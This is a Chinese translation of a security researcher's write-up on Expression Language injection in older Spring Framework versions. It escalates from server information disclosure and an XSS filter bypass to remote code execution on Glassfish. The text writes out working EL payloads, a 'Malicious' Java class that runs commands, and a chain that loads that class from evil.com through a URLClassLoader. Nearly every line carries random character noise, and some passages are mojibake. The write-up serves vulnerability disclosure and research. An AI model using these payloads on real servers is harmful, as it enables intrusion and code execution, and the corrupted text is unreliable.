Remote Code with: M1 H6 h h4 o/ k+ t+ R2 A
Expression Language Injection6 S5 A I6 B8 y: @1 K! I9 k: F/ C8 W! Y% ^
Spring Framework脆弱性—DanAmodio1 M, V/ ]5 L: A# Z5 p4 }( B- N) M
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
4 l2 P( b4 u0 p2 Q0 q9 L可能会存在风险。
# C9 P7 @2 y$ e; l5 m- w+ r' R在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的/ c( u+ M% J: z. r' ^
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
7 m0 l7 L) k% `% r4 ^以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
$ c9 u6 P7 R. r. `以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
( V* ^2 Q- M1 b+ f版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
; m- U: \% W8 ^' V7 i. g" J由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但 V+ n8 p0 ~; }$ c
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
: d6 @# h+ I6 r本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
5 [( L& G& m' S( f0 Q0 M这些版本不支持禁用double EL resolution.1 G* `% |5 d' v+ m
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
# Y) l/ n) T0 @5 h% O. M9 cEL2.2容器上可能进行远程代码执行。
+ e4 T7 a: k: ` }' a$ E这是一个原始信息泄露的攻击例子:
4 t; G$ H. W6 @: ^: j0 D请求:
% J% l( m% M% \' {8 ittp://vulnerable.com/foo?message=${applicationScope}
( ? v* u* ^) y到达以下内容页面:' y0 T& o/ M4 f9 x
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
% X) I2 F C; R- v9 W你也可以做一些其他事情,如这样:
# X1 ], h* r' d" A0 z${9999+1}
7 c$ F3 q" e$ d% e还可以访问session 对象和beans; j' s t, F, j: H" T
${employee.lastName}# j( L9 Q& m6 u3 @
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是% K" w- y0 X/ l% Z) A4 q
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
5 w _; Q+ P: n/ t& b& T5 `% k西,比如XSS.2 X. l8 N3 ~. ^& O
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
! T& o3 ^/ `1 Z" c突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
6 `* A2 ]5 F* t! {' ]! M9 t呢?”
, j* m3 L* A) u因此,我尝试巳缦拢�
8 z) Y2 Z I0 H) X- o- j, Ahttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP* Q5 v& P$ ]5 s' a/ N
P' q! C$ D) h8 {$ u9 n
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返/ c. o8 k; W' `
回的文本被插入进了spring:message 标签。$ ]9 R# N6 P4 {, E* T7 q
这里是一个最终绕过过滤的实例:
3 f2 Z6 S/ s" F- [) phttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
7 |0 ]$ I. g, g. N% F! i4 n它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
; v. U, v/ M# ?+ f8 l4 [- b2 H什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
# H8 z. S* E8 [9 i# a3 W' {. J经过一番研究,我学习到EL2.2 增加了方法调用。
( L6 \4 B6 p+ i" n% j& q% ^+ ]6 A我写了一个快速测试应用程序代码并且检测一些功能
B, c' c. _( q3 D+ ^4 f' G${pageContext.request.getSession().setAttribute(“account”,”123456″)}- t- f$ T. ]' j/ Q
${pageContext.request.getSession().setAttribute(“admin”,true)}" |2 L( p3 w. M; t/ Y; r' E$ t. W# F
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
/ U0 {" m( ?- c" ~$ _* z指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?3 ]2 ^1 p, k! N( @
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
0 F8 |6 c7 e, u! h“, 1234)}
9 d( v4 N5 W/ M, Z: _; B% T${“”.getClass().forName(“java.lang.Runtime”)}
; t7 k% `) t8 H& v8 f( D2 y& B哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不9 A: N1 n( d3 P5 N0 [7 k+ [
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
' G: T/ T Y- X# Q- Z数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
: I3 Z! r) e4 i* K/ H# B1 I一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
' J; N/ y8 w0 Z% W7 {1 G2 m S方法签名invoke(Object obj, Object„ args)
( |5 U* _( C2 j+ `Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
$ ?. ]4 }% h ]( h8 U/ x5 \" g题,以让它可以工作起来。6 @/ t& ^8 _ g5 Z9 M& K U
漏洞利用:, O0 L5 p7 h7 I4 ?
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我3 Y" v, x, c3 S2 K4 u
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
8 U- h2 n: V4 ]% V m4 d这里有一些我试过的失败的用例,为了试图让它工作的用例:+ F% k( P2 O h0 T( k8 r' {
写文件到文件系统
1 ^4 l* H% m7 }- W1 g! X4 X, s 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.( }5 C' N. z! {0 q
我认为这些可以很好的工作,但是我不能找到合适的类来载入。' V& |/ {9 u& Z7 L, w
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
- G0 M0 P u0 J7 hjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
5 W8 J9 ^$ ]- `' d: K6 {( _+ {org.springframework.expression.spel.standard.SpelExpressionParser not found
) T- ^0 F; { [# H* `by% z/ K E, R$ s
org.glassfish.web.javax.servlet.jsp [194].
; |6 J) F4 K0 O4 R. a 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public p* ?. {$ k+ F$ A: T
利用反射来创建一个新的Runtime(and watch the world burn)) u& ]+ M l; U) d4 B% O7 F
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName! Y0 c% W0 Y5 F, Y' T) ~( b9 _
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
% c# \- E- w6 V2 y2 X; b. v6 J2 v${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
5 q; R) A9 F0 ?4 p7 K 使用java.lang.ProcessBuilder3 n1 z3 N2 ~7 Z6 S# p* e/ o
用表达式语言来评估表达式语言
3 N& i. F: j6 l; QExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.+ a% e8 V" ^; [! Q! i+ @) W- X
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
3 P2 B# M/ n7 ?) ^! l“,”".getClass(),null)}3 B" o9 }, y4 o8 B$ `) ^
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)4 }) l/ W2 d. }' \" d# V& B
我在使用一个空数组通过Method.invoke()时失败了很多次
! z+ E0 B+ r6 L! `4 \, f9 r“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
: _$ I9 k/ N" m.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A1 K6 q/ C# E" Z( b9 q& {& X5 t5 x
rrayList”).newInstance().toArray())
8 a. `$ A" m5 ?" sjava.lang.IllegalArgumentException: wrong number of arguments( s& b" V- v: s W# ?9 Y
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可- f3 q& B2 ~+ R' J
以创建一个恶意class文件并且指向类装载器.
1 l; C4 q' Z6 ]$ j我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
0 g2 V m6 ?2 Z4 B }" Qpublic class Malicious {
! Q1 a, X% @1 L) A% npublic Malicious() {6 ^5 ^6 z7 N y) N W3 N0 C
try {
, m# m P, V4 |. l- @7 hjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac5 f% X/ c" o9 S6 l
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win7 C3 g& ~7 ~- A( o# D
} catch (Exception e) {2 @+ a. F2 b$ ~; }
}* m$ D9 W6 L5 g5 J7 a0 M
}# I4 a/ l4 L& D6 F7 s: D [
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
9 L @# V' @3 F8 q# y' {1 e% I4 G: S话中,因此它可以被使用.5 n4 Y8 U, S8 ] R
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName5 J2 q& g2 g, `- M
(“java.util.ArrayList”).newInstance())}: m. z, D: u6 |4 z9 Q4 z! [
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
: B) f8 { _/ N8 v. ^7 w0 @2 L/ q, m一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
* M" H+ X5 r; d) K# G2 L- VgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
" i6 ?/ J# ~" ~9 K# d+ s, _, G我们可以调用的create(string)方法,然后转换对一个URL对象。0 ]7 V- H$ f$ J4 \/ l
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh; P0 v/ Z7 t& E) A
ere/malicious/classfile/is/located/”).toURL())}
- y' |: E6 [" K( g/ {% ~, v6 _然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,- \+ p3 r2 ~. u' A; D$ _
恶意类文件被装载并创建,触发远程代码.
- q, M9 U% h0 J+ U: h${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
$ g( \1 p% @! E# H' f) M. d/ b0 @xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
0 ]3 x. W+ I9 d3 G" w5 GgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
2 ], j+ L# n7 u9 H6 A% q()} |